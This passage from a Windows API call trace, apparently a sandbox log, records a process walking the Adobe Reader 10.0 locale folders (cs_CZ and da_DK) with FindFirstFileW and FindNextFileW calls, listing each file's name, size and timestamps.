cAlternateFileName="ACCESS~1.CZE")) returned 1 [0218.543] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.CZE", cAlternateFileName="")) returned 1 [0218.543] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.CZE", cAlternateFileName="ADOBEC~1.CZE")) returned 1 [0218.543] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x76c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.CZE", cAlternateFileName="")) returned 1 [0218.543] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.CZE", cAlternateFileName="BRDLAN~1.CZE")) returned 1 [0218.543] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.CZE", cAlternateFileName="")) returned 1 [0218.543] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.CZE", cAlternateFileName="")) returned 1 [0218.543] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.CZE", cAlternateFileName="")) returned 1 [0218.543] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.CZE", cAlternateFileName="")) returned 1 [0218.543] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.CZE", cAlternateFileName="")) returned 1 [0218.543] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.CZE", cAlternateFileName="")) returned 1 [0218.543] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.CZE", cAlternateFileName="MAKEAC~1.CZE")) returned 1 [0218.544] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.CZE", cAlternateFileName="MULTIM~1.CZE")) returned 1 [0218.544] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.CZE", cAlternateFileName="")) returned 1 [0218.544] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.CZE", cAlternateFileName="")) returned 1 [0218.544] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807c95c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x145000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.CZE", cAlternateFileName="")) returned 1 [0218.544] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.CZE", cAlternateFileName="READOU~1.CZE")) returned 1 [0218.544] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.CZE", cAlternateFileName="")) returned 1 [0218.544] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.CZE", cAlternateFileName="SAVEAS~1.CZE")) returned 1 [0218.544] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.CZE", cAlternateFileName="")) returned 1 [0218.544] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.CZE", cAlternateFileName="")) returned 1 [0218.544] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0218.544] GetProcessHeap () returned 0x550000 [0218.544] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0218.545] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0218.627] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.627] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9342, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0218.628] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0218.628] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0218.628] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0218.628] GetProcessHeap () returned 0x550000 [0218.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0218.628] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CZE", cAlternateFileName="")) returned 1 [0218.628] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.CZE", cAlternateFileName="")) returned 1 [0218.628] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.CZE", cAlternateFileName="")) returned 1 [0218.628] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.CZE", cAlternateFileName="")) returned 0 [0218.628] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0218.629] GetProcessHeap () returned 0x550000 [0218.629] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0218.629] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da_DK", cAlternateFileName="")) returned 1 [0218.629] GetProcessHeap () returned 0x550000 [0218.629] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0218.629] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0218.677] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.677] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DAN", cAlternateFileName="ACCESS~1.DAN")) returned 1 [0218.677] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x64600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.DAN", cAlternateFileName="")) returned 1 [0218.677] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.DAN", cAlternateFileName="ADOBEC~1.DAN")) returned 1 [0218.677] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.DAN", cAlternateFileName="")) returned 1 [0218.677] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.DAN", cAlternateFileName="BRDLAN~1.DAN")) returned 1 [0218.677] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.DAN", cAlternateFileName="")) returned 1 [0218.677] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.DAN", cAlternateFileName="")) returned 1 [0218.677] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.DAN", cAlternateFileName="")) returned 1 [0218.677] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.DAN", cAlternateFileName="")) returned 1 [0218.678] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.DAN", cAlternateFileName="")) returned 1 [0218.678] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.DAN", cAlternateFileName="")) returned 1 [0218.678] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.DAN", cAlternateFileName="MAKEAC~1.DAN")) returned 1 [0218.678] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, 